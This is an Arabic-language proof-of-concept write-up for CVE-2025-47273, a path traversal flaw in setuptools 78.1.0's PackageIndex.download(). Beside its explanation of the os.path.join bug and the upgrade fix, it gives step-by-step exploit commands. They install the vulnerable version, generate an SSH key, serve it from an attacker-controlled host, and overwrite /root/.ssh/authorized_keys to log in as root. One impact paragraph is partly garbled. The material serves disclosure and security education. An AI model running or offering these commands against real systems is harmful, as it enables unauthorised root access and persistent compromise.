
CVE-2025-47273 هي ثغرة اجتياز مسار شديدة الخطورة في مكتبة setuptools ، وتحديدًا الإصدار 78.1.0 .
هذا الدليل الإثباتي (PoC) مخصص للأغراض التعليمية والتدقيق الأمني المصرح به فقط. لا يتحمل المؤلف أي مسؤولية عن سوء استخدام هذه المعلومات. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني وغير أخلاقي.
CVE-2025-47273 هي ثغرة تجاوز المسار (Path Traversal) موجودة في وحدة package_index من مكتبة setuptools (الإصدار 78.1.0 والإصدارات الأقدم). تسمح الثغرة للمهاجم بكتابة ملف عشوائي عبر تقديم رابط مُعد خصيصًا إلى طريقة PackageIndex.download().
ينبع الخلل من فخ شائع في دالة Python os.path.join(). وفقًا لوثائق Python:
إذا كان المكوّن مسارًا مطلقًا، يتم تجاهل جميع المكوّنات السابقة ويستمر الدمج من المكوّن المسار المطلق.
في الإصدار الضعيف من setuptools، يتم تحديد اسم الملف الوجهة عبر استخراج اسم من الرابط وضمه مع دليل مؤقت:
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)
إذا قدم المهاجم رابطًا يحتوي جزء اسم الملف فيه (بعد فك ترميز الرابط) على شرطة مائلة إلى الأمام /، فإن os.path.join تتجاهل البادئة tmpdir وتعيد المسار المطلق المقدم في الرابط.
[ رابط يتحكم به المهاجم ]
http://attacker.local/%2fetc%2fpasswd
|
| 1. فك ترميز الرابط
v
[ اسم الملف المفكوك (name) ]
"/etc/passwd"
|
| 2. استدعاء الدالة الضعيفة
v
os.path.join("/tmp/download_dir", "/etc/passwd")
|
| 3. منطق os.path.join في بايثون
v
[ المسار الناتج (filename) ]
"/etc/passwd" <-- تم تجاهل /tmp/download_dir!
نظرًا لأنه يمكن التلاعب بالمسار الوجهة ليصبح مسارًا مطلقًا، يمكن للمهاجم كتابة محتوى عشوائي إلى أي موقع على نظام الملفات حيثما تمتلك العملية أذونات الكتابة.
setuptools تعمل بامتيازات مرتفعة (مثل مثبت على مستوى النظام)، يمكن للمهاجم استبدال ملفات نظام حيوية مثل /etc/passwd أو /root/.ssh/authorized_keys أو /etc/shadow والعديد من الاحتمالات الأخرى...~/.bashrc أو ~/.ssh/authorized_keys أو حقن تعليمات برمجية في مكتبات Python الموجودة يمكن أن يؤدي إلى تنفيذ تعليمات برمجية عن بُعد بشكل دائم./root/.ssh/authorized_keys)الثغرة موجودة في الإصدار 78.1.0 من setuptools.
pip install setuptools==78.1.0
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
النص server.py يعمل كمؤشر حزم ضار. يقدم ملف الحمولة بغض النظر عن المسار المطلوب، والملف الذي نقدمه هو id_rsa.pub.
python3 server.py 80
قم بتشغيل كتابة الملف باستخدام هذا الأمر، ثم يمكنك الدخول عبر SSH إلى الجذر باستخدام زوج المفاتيح الذي أعددته مسبقًا
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'
ssh -i id_rsa root@<target-ip>
تم معالجة الثغرة في الإصدار 78.1.1 من setuptools. يتضمن الإصلاح تنقية صارمة للمتغير name المستمد من الرابط لضمان عدم احتوائه على شرطة مائلة في البداية أو أحرف محرك أقراص قبل تمريره إلى os.path.join().
لتأمين بيئتك:
pip install --upgrade setuptools